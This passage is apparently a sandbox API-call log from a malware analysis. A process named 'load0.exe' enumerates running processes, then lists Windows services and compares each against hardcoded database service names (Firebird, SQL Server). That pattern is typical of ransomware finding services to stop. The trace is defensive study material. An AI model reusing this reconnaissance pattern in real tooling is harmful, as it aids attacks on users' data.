lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.309] lstrlenW (lpString="svchost.exe") returned 11 [0260.310] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.341] lstrlenW (lpString="svchost.exe") returned 11 [0260.341] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.342] lstrlenW (lpString="svchost.exe") returned 11 [0260.342] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.343] lstrlenW (lpString="svchost.exe") returned 11 [0260.343] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.344] lstrlenW (lpString="svchost.exe") returned 11 [0260.344] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.345] lstrlenW (lpString="svchost.exe") returned 11 [0260.345] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.346] lstrlenW (lpString="svchost.exe") returned 11 [0260.346] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.347] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.347] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.348] lstrlenW (lpString="svchost.exe") returned 11 [0260.348] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.349] lstrlenW (lpString="audiodg.exe") returned 11 [0260.349] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0260.350] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0260.350] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0260.350] lstrlenW (lpString="Memory Compression") returned 18 [0260.351] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.351] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0260.351] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.352] lstrlenW (lpString="sihost.exe") returned 10 [0260.352] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.353] lstrlenW (lpString="svchost.exe") returned 11 [0260.353] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.354] lstrlenW (lpString="taskhostw.exe") returned 13 [0260.354] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0260.355] lstrlenW (lpString="msoia.exe") returned 9 [0260.355] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.356] lstrlenW (lpString="explorer.exe") returned 12 [0260.356] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.357] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0260.357] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.358] lstrlenW (lpString="SearchUI.exe") returned 12 [0260.358] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.358] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0260.358] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.359] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0260.359] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0260.360] lstrlenW (lpString="load0.exe") returned 9 [0260.360] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0260.361] lstrlenW (lpString="consent.exe") returned 11 [0260.361] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.362] lstrlenW (lpString="dllhost.exe") returned 11 [0260.362] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0260.363] CloseHandle (hObject=0x1154) returned 1 [0260.363] Sleep (dwMilliseconds=0x1f4) [0261.232] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64730 [0261.232] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0261.233] GetLastError () returned 0xea [0261.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4075448 [0261.233] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4075448, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4075448, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0261.234] CloseServiceHandle (hSCObject=0x3f64730) returned 1 [0261.234] lstrlenW (lpString="Appinfo") returned 7 [0261.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0261.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0261.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0261.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0261.235] lstrlenW (lpString="AppXSvc") returned 7 [0261.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0261.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0261.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0261.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0261.235] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.235] lstrlenW (lpString="Audiosrv") returned 8 [0261.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0261.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0261.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0261.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0261.235] lstrlenW (lpString="BFE") returned 3 [0261.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.235] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.235] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.235] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0261.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.236] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0261.236] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0261.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0261.236] lstrlenW (lpString="CDPSvc") returned 6 [0261.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0261.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0261.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0261.236] lstrlenW (lpString="ClickToRunSvc") returned 13 [0261.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0261.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0261.236] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0261.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0261.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0261.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0261.236] lstrlenW (lpString="CryptSvc") returned 8 [0261.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.236] lstrlenW (lpString="DcomLaunch") returned 10 [0261.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.237] lstrlenW (lpString="DeviceAssociationService") returned 24 [0261.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0261.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0261.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0261.237] lstrlenW (lpString="Dhcp") returned 4 [0261.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.237] lstrlenW (lpString="Dnscache") returned 8 [0261.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.237] lstrlenW (lpString="DPS") returned 3 [0261.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.237] lstrlenW (lpString="DusmSvc") returned 7 [0261.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0261.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0261.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0261.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0261.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0261.238] lstrlenW (lpString="EventLog") returned 8 [0261.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0261.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0261.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0261.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0261.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0261.238] lstrlenW (lpString="EventSystem") returned 11 [0261.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.238] lstrlenW (lpString="FontCache") returned 9 [0261.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0261.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0261.238] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0261.238] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0261.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0261.239] lstrlenW (lpString="gpsvc") returned 5 [0261.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.239] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.239] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.239] lstrlenW (lpString="iphlpsvc") returned 8 [0261.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.239] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.239] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.239] lstrlenW (lpString="KeyIso") returned 6 [0261.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0261.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0261.239] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0261.239] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0261.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0261.239] lstrlenW (lpString="LanmanServer") returned 12 [0261.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.239] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.240] lstrlenW (lpString="lfsvc") returned 5 [0261.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0261.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0261.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0261.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0261.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0261.240] lstrlenW (lpString="lmhosts") returned 7 [0261.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.241] lstrlenW (lpString="LSM") returned 3 [0261.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0261.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0261.241] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0261.241] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0261.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0261.241] lstrlenW (lpString="MpsSvc") returned 6 [0261.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.241] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.241] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.241] lstrlenW (lpString="NcbService") returned 10 [0261.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0261.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0261.259] lstrlenW (lpString="netprofm") returned 8 [0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.260] lstrlenW (lpString="NgcSvc") returned 6 [0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0261.260] lstrlenW (lpString="NlaSvc") returned 6 [0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.260] lstrlenW (lpString="nsi") returned 3 [0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.260] lstrcmpiW (lpString1="sqlserveradhelper", 